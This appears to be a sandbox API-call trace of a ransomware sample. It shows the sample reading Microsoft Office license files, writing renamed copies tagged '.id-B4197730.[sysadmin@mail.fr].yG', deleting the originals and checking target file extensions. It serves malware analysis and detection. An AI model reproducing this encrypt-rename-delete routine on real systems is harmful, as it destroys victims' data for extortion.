	[0162.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0162.529] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.529] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.531] GetLastError () returned 0x0
	[0162.531] ReadFile (in: hFile=0x520, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x516c, lpOverlapped=0x0) returned 1
	[0162.543] WriteFile (in: hFile=0x544, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5170, lpOverlapped=0x0) returned 1
	[0162.546] ReadFile (in: hFile=0x520, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.546] WriteFile (in: hFile=0x544, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x104, lpOverlapped=0x0) returned 1
	[0162.546] SetEndOfFile (hFile=0x544) returned 1
	[0162.547] CloseHandle (hObject=0x544) returned 1
	[0162.547] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.547] SetEndOfFile (hFile=0x520) returned 1
	[0162.552] CloseHandle (hObject=0x520) returned 1
	[0162.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1
	[0162.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.554] lstrlenW (lpString=".doc") returned 4
	[0162.554] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.554] lstrlenW (lpString=".docx") returned 5
	[0162.554] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.554] lstrlenW (lpString=".pdf") returned 4
	[0162.554] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.554] lstrlenW (lpString=".xls") returned 4
	[0162.554] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.554] lstrlenW (lpString=".xlsx") returned 5
	[0162.554] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.554] lstrlenW (lpString=".ppt") returned 4
	[0162.555] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.555] lstrlenW (lpString=".zip") returned 4
	[0162.555] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.555] lstrlenW (lpString=".rar") returned 4
	[0162.555] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.555] lstrlenW (lpString=".bz2") returned 4
	[0162.555] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.555] lstrlenW (lpString=".7z") returned 3
	[0162.555] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.555] lstrlenW (lpString=".dbf") returned 4
	[0162.555] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.555] lstrlenW (lpString=".1cd") returned 4
	[0162.555] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.555] lstrlenW (lpString=".jpg") returned 4
	[0162.555] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.555] lstrlenW (lpString=".doc") returned 4
	[0162.556] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.556] lstrlenW (lpString=".docx") returned 5
	[0162.556] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.556] lstrlenW (lpString=".pdf") returned 4
	[0162.556] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.556] lstrlenW (lpString=".xls") returned 4
	[0162.556] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.556] lstrlenW (lpString=".xlsx") returned 5
	[0162.556] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.556] lstrlenW (lpString=".ppt") returned 4
	[0162.556] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.556] lstrlenW (lpString=".zip") returned 4
	[0162.556] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.556] lstrlenW (lpString=".rar") returned 4
	[0162.556] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.556] lstrlenW (lpString=".bz2") returned 4
	[0162.556] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.556] lstrlenW (lpString=".7z") returned 3
	[0162.556] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.557] lstrlenW (lpString=".dbf") returned 4
	[0162.557] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.557] lstrlenW (lpString=".1cd") returned 4
	[0162.557] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0162.557] lstrlenW (lpString=".jpg") returned 4
	[0162.557] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.557] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0162.557] lstrlenW (lpString="ExcelR_Retail-ul-oob.xrm-ms") returned 27
	[0162.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0162.558] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11574) returned 1
	[0162.558] CloseHandle (hObject=0x520) returned 1
	[0162.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220
	[0162.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0162.959] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.960] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0162.961] GetLastError () returned 0x0
	[0162.961] ReadFile (in: hFile=0x518, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d36, lpOverlapped=0x0) returned 1
	[0163.021] WriteFile (in: hFile=0x514, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0163.023] ReadFile (in: hFile=0x518, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.023] WriteFile (in: hFile=0x514, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0163.023] SetEndOfFile (hFile=0x514) returned 1
	[0163.117] CloseHandle (hObject=0x514) returned 1
	[0163.117] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.117] SetEndOfFile (hFile=0x518) returned 1
	[0163.120] CloseHandle (hObject=0x518) returned 1
	[0163.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1
	[0163.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.122] lstrlenW (lpString=".doc") returned 4
	[0163.122] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.122] lstrlenW (lpString=".docx") returned 5
	[0163.122] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.122] lstrlenW (lpString=".pdf") returned 4
	[0163.122] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.122] lstrlenW (lpString=".xls") returned 4
	[0163.122] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.122] lstrlenW (lpString=".xlsx") returned 5
	[0163.122] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.122] lstrlenW (lpString=".ppt") returned 4
	[0163.122] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.122] lstrlenW (lpString=".zip") returned 4
	[0163.122] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.122] lstrlenW (lpString=".rar") returned 4
	[0163.122] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.122] lstrlenW (lpString=".bz2") returned 4
	[0163.122] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.122] lstrlenW (lpString=".7z") returned 3
	[0163.123] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.123] lstrlenW (lpString=".dbf") returned 4
	[0163.123] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.123] lstrlenW (lpString=".1cd") returned 4
	[0163.123] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.123] lstrlenW (lpString=".jpg") returned 4
	[0163.123] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.123] lstrlenW (lpString=".doc") returned 4
	[0163.123] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.123] lstrlenW (lpString=".docx") returned 5
	[0163.123] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.123] lstrlenW (lpString=".pdf") returned 4
	[0163.123] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.123] lstrlenW (lpString=".xls") returned 4
	[0163.123] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.123] lstrlenW (lpString=".xlsx") returned 5
	[0163.123] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.123] lstrlenW (lpString=".ppt") returned 4
	[0163.124] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.124] lstrlenW (lpString=".zip") returned 4
	[0163.124] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.124] lstrlenW (lpString=".rar") returned 4
	[0163.124] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.124] lstrlenW (lpString=".bz2") returned 4
	[0163.124] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.124] lstrlenW (lpString=".7z") returned 3
	[0163.124] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.127] lstrlenW (lpString=".dbf") returned 4
	[0163.127] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.127] lstrlenW (lpString=".1cd") returned 4
	[0163.127] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0163.127] lstrlenW (lpString=".jpg") returned 4
	[0163.127] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.128] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0163.128] lstrlenW (lpString="ExcelVL_KMS_Client-ul.xrm-ms") returned 28
	[0163.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0163.129] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=9601) returned 1
	[0163.129] CloseHandle (hObject=0x518) returned 1
	[0163.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220
	[0163.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0163.130] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.130] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0163.131] GetLastError () returned 0x0
	[0163.131] ReadFile (in: hFile=0x518, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2581, lpOverlapped=0x0) returned 1
	[0163.231] WriteFile (in: hFile=0x514, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0163.236] ReadFile (in: hFile=0x518, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.236] WriteFile (in: hFile=0x514, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0163.236] SetEndOfFile (hFile=0x514) returned 1
	[0163.237] CloseHandle (hObject=0x514) returned 1
	[0163.237] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.237] SetEndOfFile (hFile=0x518) returned 1
	[0163.258] CloseHandle (hObject=0x518) returned 1
	[0163.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1
	[0163.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.259] lstrlenW (lpString=".doc") returned 4
	[0163.260] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.260] lstrlenW (lpString=".docx") returned 5
	[0163.260] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.260] lstrlenW (lpString=".pdf") returned 4
	[0163.260] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.260] lstrlenW (lpString=".xls") returned 4
	[0163.260] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.260] lstrlenW (lpString=".xlsx") returned 5
	[0163.260] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.260] lstrlenW (lpString=".ppt") returned 4
	[0163.260] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.260] lstrlenW (lpString=".zip") returned 4
	[0163.260] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.260] lstrlenW (lpString=".rar") returned 4
	[0163.260] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.260] lstrlenW (lpString=".bz2") returned 4
	[0163.260] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.260] lstrlenW (lpString=".7z") returned 3
	[0163.260] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.261] lstrlenW (lpString=".dbf") returned 4
	[0163.261] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.261] lstrlenW (lpString=".1cd") returned 4
	[0163.261] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.261] lstrlenW (lpString=".jpg") returned 4
	[0163.261] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.261] lstrlenW (lpString=".doc") returned 4
	[0163.261] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.261] lstrlenW (lpString=".docx") returned 5
	[0163.261] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.261] lstrlenW (lpString=".pdf") returned 4
	[0163.261] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.261] lstrlenW (lpString=".xls") returned 4
	[0163.261] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.261] lstrlenW (lpString=".xlsx") returned 5
	[0163.261] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.261] lstrlenW (lpString=".ppt") returned 4
	[0163.261] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.262] lstrlenW (lpString=".zip") returned 4
	[0163.262] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.262] lstrlenW (lpString=".rar") returned 4
	[0163.262] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.262] lstrlenW (lpString=".bz2") returned 4
	[0163.262] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.262] lstrlenW (lpString=".7z") returned 3
	[0163.262] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.262] lstrlenW (lpString=".dbf") returned 4
	[0163.262] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.262] lstrlenW (lpString=".1cd") returned 4
	[0163.262] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0163.262] lstrlenW (lpString=".jpg") returned 4
	[0163.262] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.263] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0163.263] lstrlenW (lpString="ExcelVL_MAK-ppd.xrm-ms") returned 22
	[0163.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0163.264] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=6795) returned 1
